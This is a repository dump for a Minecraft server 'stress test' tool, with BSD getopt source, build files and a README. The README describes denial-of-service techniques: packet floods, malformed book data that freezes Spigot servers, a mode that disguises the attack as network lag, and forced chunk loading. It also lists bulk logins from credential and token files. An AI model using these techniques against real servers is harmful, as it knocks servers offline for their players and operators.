disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 3. All advertising materials mentioning features or use of this software 14 | * must display the following acknowledgement: 15 | * This product includes software developed by the University of 16 | * California, Berkeley and its contributors. 17 | * 4. Neither the name of the University nor the names of its contributors 18 | * may be used to endorse or promote products derived from this software 19 | * without specific prior written permission. 20 | * 21 | * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND 22 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 23 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 24 | * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE 25 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 26 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 27 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 28 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 29 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 30 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 31 | * SUCH DAMAGE. 32 | */ 33 | 34 | #if 0 35 | static char sccsid[] = "@(#)getopt.c 8.3 (Berkeley) 4/27/95"; 36 | #endif 37 | 38 | #include 39 | #include 40 | #include 41 | #include 42 | 43 | #define __P(x) x 44 | #define _DIAGASSERT(x) assert(x) 45 | 46 | #ifdef __weak_alias 47 | __weak_alias(getopt, _getopt); 48 | #endif 49 | 50 | 51 | int opterr = 1, /* if error message should be printed */ 52 | optind = 1, /* index into parent argv vector */ 53 | optopt, /* character checked for validity */ 54 | optreset; /* reset getopt */ 55 | char *optarg; /* argument associated with option */ 56 | 57 | static char * _progname __P((char *)); 58 | int getopt_internal __P((int, char * const *, const char *)); 59 | 60 | static char * 61 | _progname(char * nargv0) 62 | { 63 | char * tmp; 64 | 65 | _DIAGASSERT(nargv0 != NULL); 66 | 67 | tmp = strrchr(nargv0, '/'); 68 | if (tmp) 69 | tmp++; 70 | else 71 | tmp = nargv0; 72 | return(tmp); 73 | } 74 | 75 | #define BADCH (int)'?' 76 | #define BADARG (int)':' 77 | #define EMSG "" 78 | 79 | /* 80 | * getopt -- 81 | * Parse argc/argv argument vector. 82 | */ 83 | int 84 | getopt(int nargc, char* const nargv[], const char *ostr) 85 | { 86 | static char *__progname = 0; 87 | static char *place = EMSG; /* option letter processing */ 88 | const char *oli; /* option letter list index */ 89 | __progname = __progname ? __progname : _progname(*nargv); 90 | 91 | _DIAGASSERT(nargv != NULL); 92 | _DIAGASSERT(ostr != NULL); 93 | 94 | if (optreset || !*place) { /* update scanning pointer */ 95 | optreset = 0; 96 | if (optind >= nargc || *(place = nargv[optind]) != '-') { 97 | place = EMSG; 98 | return (-1); 99 | } 100 | if (place[1] && *++place == '-' /* found "--" */ 101 | && place[1] == '\0') { 102 | ++optind; 103 | place = EMSG; 104 | return (-1); 105 | } 106 | } /* option letter okay? */ 107 | if ((optopt = (int)*place++) == (int)':' || 108 | !(oli = strchr(ostr, optopt))) { 109 | /* 110 | * if the user didn't specify '-' as an option, 111 | * assume it means -1. 112 | */ 113 | if (optopt == (int)'-') 114 | return (-1); 115 | if (!*place) 116 | ++optind; 117 | if (opterr && *ostr != ':') 118 | (void)fprintf(stderr, 119 | "%s: illegal option -- %c\n", __progname, optopt); 120 | return (BADCH); 121 | } 122 | if (*++oli != ':') { /* don't need argument */ 123 | optarg = NULL; 124 | if (!*place) 125 | ++optind; 126 | } else { /* need an argument */ 127 | if (*place) /* no white space */ 128 | optarg = place; 129 | else if (nargc <= ++optind) { /* no arg */ 130 | place = EMSG; 131 | if (*ostr == ':') 132 | return (BADARG); 133 | if (opterr) 134 | (void)fprintf(stderr, 135 | "%s: option requires an argument -- %c\n", 136 | __progname, optopt); 137 | return (BADCH); 138 | } else /* white space */ 139 | optarg = nargv[optind]; 140 | place = EMSG; 141 | ++optind; 142 | } 143 | return (optopt); /* dump back option letter */ 144 | } 145 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Avalanche 2 | A simple cli Minecraft server stress test tool. 3 | 4 | ## Installation 5 | Set `connection-throttle: 0` in `bukkit.yml` when using the multiple instances. 6 | A delay can be added to the login sequence if needed. 7 | This setting doesn't need to be changed when using `127.0.0.1` to log in. 8 | 9 | ## Building 10 | ### Ubuntu 11 | `git submodule update` 12 | Install the [dependencies](https://github.com/plushmonkey/mclib/blob/master/README.md#building) for mclib. 13 | `make` 14 | 15 | ### Windows 16 | `git submodule update` 17 | Unzip `lib.zip` in the mclib directory. 18 | Build mclib. 19 | Open `avalanche.sln` with Visual Studio 2017 and build. 20 | 21 | ## Behaviors 22 | ### delay 23 | Pauses the current instance for some time. This is used for adding a delay in a sequence. 24 | Configuration: 25 | - `delay`: The number of milliseconds to pause for. 26 | 27 | ### message 28 | Sends a message. This can be used to send commands. 29 | Configuration: 30 | - `message`: The message to send to the server. 31 | 32 | ### disconnect 33 | Disconnects from the server immediately. 34 | 35 | ### sneak 36 | Start or stop sneaking. 37 | Configuration: 38 | - `start`: Boolean indicating whether or not the instance should start sneaking. 39 | - `stop`: Boolean indicating whether or not the instance should stop sneaking. 40 | 41 | ### swing 42 | Swing either main hand or off hand. 43 | Configuration: 44 | - `attack`: The instance will ray cast to find an entity to attack if this is true. 45 | - `hand`: Set to `"off"` to swing with off hand. 46 | 47 | ### sequence 48 | This is a composite behavior for executing behaviors sequentially. 49 | Behaviors that are part of the sequence will only be executed once unless repeat is true. 50 | Configuration: 51 | - `repeat`: Whether or not the sequence should repeat itself once it finishes. 52 | - `children`: An array of behaviors that the sequence should execute. 53 | 54 | ### interact 55 | This will spam the server with block dig packets. This can cause massive lag with WorldEdit permission checks. 56 | Countering the attack is as easy as putting in a packet limiting plugin, such as NoCheatPlus. 57 | Configuration: 58 | - `send-per-tick`: How many dig packets should be sent each tick. 59 | 60 | ### bookedit 61 | This sends book data with many pages to the MC|BEdit plugin channel. 62 | The pages aren't valid JSON, so each page that the server tries to deserialize will throw an exception. 63 | The deserialization attack only works on Bukkit/Spigot derivative servers. This was fixed in Spigot 1.12.0, but the hidden attack still works. 64 | One instance is enough to freeze a server up by sending 10000 page book every tick. 65 | With enough of these placed in a Shulker Box, the player holding it won't be able to login. 66 | This is all possible in Survival mode. 67 | Configuration: 68 | - `send-per-tick`: How many books should be sent each tick. 69 | - `pages`: How many pages each book should have. The server will kick the instance if this is too high. 70 | - `hidden`: This will conceal the attack by forcing deserialization to happen on a netty thread. The main thread will still be running at 20 tps, so it will make it seem like it's network lag. The attack will be hidden in the profiler deep in one of the netty threads. This method won't lag the entire server for everyone, but it will freeze up one of the netty threads, causing lag for anyone using that thread. 71 | 72 | ### recipe 73 | This attack is similar to the bookedit hidden attack, but instead it uses the 1.12 PrepareCraftingGridPacket to send the books. 74 | 75 | Configuration: 76 | - `send-per-tick`: How many packets should be sent each tick. 77 | - `pages`: How many pages each book should have. The server will kick the instance if this is too high. 78 | - `return-count`: How many books are sent in the return entry array. 79 | - `prepare-count`: How many books are sent in the prepare entry array. 80 | 81 | ### creative-world-lag 82 | This behavior requires creative mode. This can be put in a sequence after a message behavior that sends gamemode to the server. 83 | 84 | This behavior uses CreativeInventoryActionPacket to create an item with block entity data in its inventory. 85 | The server will read the xyz of the item and try to load the block entity in the world at that position. 86 | There's no range limit on this, so the server can be forced to load/generate chunks that are far away. 87 | Configuration: 88 | - `send-per-tick`: How many packets are sent each tick. 89 | - `position`: 90 | - `method`: Which method should be used to select the position. `random` or `increment`. 91 | - `initial`: This is only used for `increment` method. 92 | - `x`: The starting x position. 93 | - `y`: The starting y position. 94 | - `z`: The starting z position. 95 | - `increment`: This is only used for `increment` method. 96 | - `x`: How much x should change each packet. 97 | - `z`: How much z should change each packet. 98 | 99 | ## Authentication Generators 100 | ### increment 101 | This will generate usernames with a base name and sequential digits appended. 102 | Configuration: 103 | - `username`: Sets the base name used for generating usernames. 104 | - `password`: Sets the password used for all generated usernames. 105 | - `start`: Sets the starting index for generation. 106 | 107 | ### random 108 | This will generate random all-lowercase usernames. 109 | Configuration: 110 | - `min`: Sets the minimum length of the username to generate. 111 | - `max`: Sets the maximum length of the username to generate. 112 | 113 | ### multi-user 114 | This will read username:password combinations from a file. 115 | Configuration: 116 | - `filename`: The file that contains the username:password combinations. 117 | 118 | ### multi-token 119 | This will read username:accessToken:clientToken:profileId combinations from a file. 120 | The profileId isn't required, but it needs to hit the API to fetch it. It will get rate limited faster. 121 | Configuration: 122 | - `filename`: The file that contains the tokens. 123 | 124 | ## Examples 125 | ``` 126 | ./avalanche --username bot --password pw --server 127.0.0.1:25565 127 | ``` 128 | Spawns in a single instance that does nothing. 129 | 130 | ``` 131 | ./avalanche --username bot --password pw --server 127.0.0.1 --count 19 132 | ``` 133 | Spawns in 19 instances that do nothing. 134 | 135 | ``` 136 | ./avalanche --username bot --password pw --server 127.0.0.1 --count 19 --behavior interact 137 | ``` 138 | Spawns in 19 instances that will use the interact behavior. 139 | 140 | ``` 141 | ./avalanche --json basic.json 142 | ``` 143 | Reads the config from basic.json file. 144 | -------------------------------------------------------------------------------- /avalanche/getopt_long.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 1987, 1993, 1994, 1996 3 | * The Regents of the University of California. All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 3. All advertising materials mentioning features or use of this software 14 | * must display the following acknowledgement: 15 | * This product includes software developed by the University of 16 | * California, Berkeley and its contributors. 17 | * 4. Neither the name of the University nor the names of its contributors 18 | * may be used to endorse or promote products derived from this software 19 | * without specific prior written permission. 20 | * 21 | * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND 22 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 23 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 24 | * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE 25 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 26 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 27 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 28 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 29 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 30 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 31 | * SUCH DAMAGE. 32 | */ 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include "getopt.h" 39 | 40 | extern int opterr; /* if error message should be printed */ 41 | extern int optind; /* index into parent argv vector */ 42 | extern int optopt; /* character checked for validity */ 43 | extern int optreset; /* reset getopt */ 44 | extern char *optarg; /* argument associated with option */ 45 | 46 | #define __P(x) x 47 | #define _DIAGASSERT(x) assert(x) 48 | 49 | static char * __progname __P((char *)); 50 | int getopt_internal __P((int, char * const *, const char *)); 51 | 52 | static char * 53 | __progname(char* nargv0) 54 | { 55 | char * tmp; 56 | 57 | _DIAGASSERT(nargv0 != NULL); 58 | 59 | tmp = strrchr(nargv0, '/'); 60 | if (tmp) 61 | tmp++; 62 | else 63 | tmp = nargv0; 64 | return(tmp); 65 | } 66 | 67 | #define BADCH (int)'?' 68 | #define BADARG (int)':' 69 | #define EMSG "" 70 | 71 | /* 72 | * getopt -- 73 | * Parse argc/argv argument vector. 74 | */ 75 | int 76 | getopt_internal(int nargc, char * const *nargv, const char* ostr) 77 | { 78 | static char *place = EMSG; /* option letter processing */ 79 | const char *oli; /* option letter list index */ 80 | 81 | _DIAGASSERT(nargv != NULL); 82 | _DIAGASSERT(ostr != NULL); 83 | 84 | if (optreset || !*place) { /* update scanning pointer */ 85 | optreset = 0; 86 | if (optind >= nargc || *(place = nargv[optind]) != '-') { 87 | place = EMSG; 88 | return (-1); 89 | } 90 | if (place[1] && *++place == '-') { /* found "--" */ 91 | /* ++optind; */ 92 | place = EMSG; 93 | return (-2); 94 | } 95 | } /* option letter okay? */ 96 | if ((optopt = (int)*place++) == (int)':' || 97 | !(oli = strchr(ostr, optopt))) { 98 | /* 99 | * if the user didn't specify '-' as an option, 100 | * assume it means -1. 101 | */ 102 | if (optopt == (int)'-') 103 | return (-1); 104 | if (!*place) 105 | ++optind; 106 | if (opterr && *ostr != ':') 107 | (void)fprintf(stderr, 108 | "%s: illegal option -- %c\n", __progname(nargv[0]), optopt); 109 | return (BADCH); 110 | } 111 | if (*++oli != ':') { /* don't need argument */ 112 | optarg = NULL; 113 | if (!*place) 114 | ++optind; 115 | } else { /* need an argument */ 116 | if (*place) /* no white space */ 117 | optarg = place; 118 | else if (nargc <= ++optind) { /* no arg */ 119 | place = EMSG; 120 | if ((opterr) && (*ostr != ':')) 121 | (void)fprintf(stderr, 122 | "%s: option requires an argument -- %c\n", 123 | __progname(nargv[0]), optopt); 124 | return (BADARG); 125 | } else /* white space */ 126 | optarg = nargv[optind]; 127 | place = EMSG; 128 | ++optind; 129 | } 130 | return (optopt); /* dump back option letter */ 131 | } 132 | 133 | #if 0 134 | /* 135 | * getopt -- 136 | * Parse argc/argv argument vector. 137 | */ 138 | int 139 | getopt2(nargc, nargv, ostr) 140 | int nargc; 141 | char * const *nargv; 142 | const char *ostr; 143 | { 144 | int retval; 145 | 146 | if ((retval = getopt_internal(nargc, nargv, ostr)) == -2) { 147 | retval = -1; 148 | ++optind; 149 | } 150 | return(retval); 151 | } 152 | #endif 153 | 154 | /* 155 | * getopt_long -- 156 | * Parse argc/argv argument vector. 157 | */ 158 | int 159 | getopt_long(int nargc, char * const nargv[], const char *options, const struct option *long_options, int *index) 160 | { 161 | int retval; 162 | 163 | _DIAGASSERT(nargv != NULL); 164 | _DIAGASSERT(options != NULL); 165 | _DIAGASSERT(long_options != NULL); 166 | /* index may be NULL */ 167 | 168 | if ((retval = getopt_internal(nargc, nargv, options)) == -2) { 169 | char *current_argv = nargv[optind++] + 2, *has_equal; 170 | int i, current_argv_len, match = -1; 171 | 172 | if (*current_argv == '\0') { 173 | return(-1); 174 | } 175 | if ((has_equal = strchr(current_argv, '=')) != NULL) { 176 | current_argv_len = has_equal - current_argv; 177 | has_equal++; 178 | } else 179 | current_argv_len = strlen(current_argv); 180 | 181 | for (i = 0; long_options[i].name; i++) { 182 | if (strncmp(current_argv, long_options[i].name, current_argv_len)) 183 | continue; 184 | 185 | if (strlen(long_options[i].name) == (unsigned)current_argv_len) { 186 | match = i; 187 | break; 188 | } 189 | if (match == -1) 190 | match = i; 191 | } 192 | if (match != -1) { 193 | if (long_options[match].has_arg == required_argument || 194 | long_options[match].has_arg == optional_argument) { 195 | if (has_equal) 196 | optarg = has_equal; 197 | else 198 | optarg = nargv[optind++]; 199 | } 200 | if ((long_options[match].has_arg == required_argument) 201 | && (optarg == NULL)) { 202 | /* 203 | * Missing argument, leading : 204 | * indicates no error should be generated 205 | */ 206 | if ((opterr) && (*options != ':')) 207 | (void)fprintf(stderr, 208 | "%s: option requires an argument -- %s\n", 209 | __progname(nargv[0]), current_argv); 210 | return (BADARG); 211 | } 212 | } else { /* No matching argument */ 213 | if ((opterr) && (*options != ':')) 214 | (void)fprintf(stderr, 215 | "%s: illegal option -- %s\n", __progname(nargv[0]), current_argv); 216 | return (BADCH); 217 | } 218 | if (long_options[match].flag) { 219 | *long_options[match].flag = long_options[match].val; 220 | retval = 0; 221 | } else 222 | retval = long_options[match].val; 223 | if (index) 224 | *index = match; 225 | } 226 | return(retval); 227 | } 228 | -------------------------------------------------------------------------------- /avalanche/avalanche.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | 15.0 15 | {2A802FB9-FC42-4FD5-8718-1BEE67BB3C5C} 16 | Win32Proj 17 | avalanche 18 | 8.1 19 | 20 | 21 | 22 | Application 23 | true 24 | v141 25 | Unicode 26 | 27 | 28 | Application 29 | false 30 | v141 31 | true 32 | Unicode 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | true 48 | ..\lib\mclib\lib\jsoncpp\include;..\lib\mclib\mclib\include;$(VC_IncludePath);$(WindowsSDK_IncludePath); 49 | ..\lib\mclib\lib\jsoncpp\lib;..\lib\mclib\Debug;$(VC_LibraryPath_x86);$(WindowsSDK_LibraryPath_x86);$(NETFXKitsDir)Lib\um\x86 50 | 51 | 52 | false 53 | ..\lib\mclib\lib\jsoncpp\include;..\lib\mclib\mclib\include;$(VC_IncludePath);$(WindowsSDK_IncludePath); 54 | ..\lib\mclib\lib\jsoncpp\lib;..\lib\mclib\Release;$(VC_LibraryPath_x86);$(WindowsSDK_LibraryPath_x86);$(NETFXKitsDir)Lib\um\x86 55 | $(SolutionDir)bin\ 56 | 57 | 58 | 59 | 60 | 61 | Level3 62 | Disabled 63 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 64 | 65 | 66 | Console 67 | jsoncppd-msvc-2017.lib;mclibd.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) 68 | 69 | 70 | 71 | 72 | Level3 73 | 74 | 75 | MaxSpeed 76 | true 77 | true 78 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 79 | 80 | 81 | Console 82 | true 83 | true 84 | jsoncpp-msvc-2017.lib;mclib.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | -------------------------------------------------------------------------------- /avalanche/avalanche.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {f2a74322-e827-4f09-b6d1-989e2d855204} 18 | 19 | 20 | {a20b7c69-3c6a-41ee-8bd3-44c809af4c68} 21 | 22 | 23 | {489d16de-8009-4610-a3a0-b431a8089880} 24 | 25 | 26 | {44c581d9-c490-4856-8bb7-920f3b3e879d} 27 | 28 | 29 | {de528580-813c-46b1-aea6-2022d334e806} 30 | 31 | 32 | {a73ad26a-d49d-4743-b367-22afad608dcc} 33 | 34 | 35 | {97316349-9e10-4566-8612-ba2f2c78b066} 36 | 37 | 38 | {4095a4f6-2254-45ae-8af4-3b89bd11b427} 39 | 40 | 41 | 42 | 43 | Source Files 44 | 45 | 46 | Source Files 47 | 48 | 49 | Source Files 50 | 51 | 52 | Source Files 53 | 54 | 55 | Source Files 56 | 57 | 58 | Source Files\login 59 | 60 | 61 | Source Files\login 62 | 63 | 64 | Source Files\login 65 | 66 | 67 | Source Files\login\generator 68 | 69 | 70 | Source Files\login\generator 71 | 72 | 73 | Source Files\login 74 | 75 | 76 | Source Files\login\generator 77 | 78 | 79 | Source Files\login\generator 80 | 81 | 82 | Source Files\behavior\attack 83 | 84 | 85 | Source Files\behavior\attack 86 | 87 | 88 | Source Files\behavior\attack 89 | 90 | 91 | Source Files\behavior 92 | 93 | 94 | Source Files\behavior 95 | 96 | 97 | Source Files\behavior 98 | 99 | 100 | Source Files\behavior 101 | 102 | 103 | Source Files\behavior 104 | 105 | 106 | Source Files\behavior 107 | 108 | 109 | Source Files 110 | 111 | 112 | Source Files\behavior 113 | 114 | 115 | Source Files\behavior\attack 116 | 117 | 118 | 119 | 120 | Header Files 121 | 122 | 123 | Header Files 124 | 125 | 126 | Header Files 127 | 128 | 129 | Header Files\login 130 | 131 | 132 | Header Files\login 133 | 134 | 135 | Header Files\login 136 | 137 | 138 | Header Files 139 | 140 | 141 | Header Files 142 | 143 | 144 | Header Files\login\generator 145 | 146 | 147 | Header Files\login\generator 148 | 149 | 150 | Header Files\login\generator 151 | 152 | 153 | Header Files\login\generator 154 | 155 | 156 | Header Files\login\generator 157 | 158 | 159 | Header Files\login 160 | 161 | 162 | Header Files\behavior\attack 163 | 164 | 165 | Header Files\behavior\attack 166 | 167 | 168 | Header Files\behavior\attack 169 | 170 | 171 | Header Files\behavior 172 | 173 | 174 | Header Files\behavior 175 | 176 | 177 | Header Files\behavior 178 | 179 | 180 | Header Files\behavior 181 | 182 | 183 | Header Files\behavior 184 | 185 | 186 | Header Files\behavior 187 | 188 | 189 | Header Files 190 | 191 | 192 | Header Files\behavior 193 | 194 | 195 | Header Files\behavior\attack 196 | 197 | 198 | --------------------------------------------------------------------------------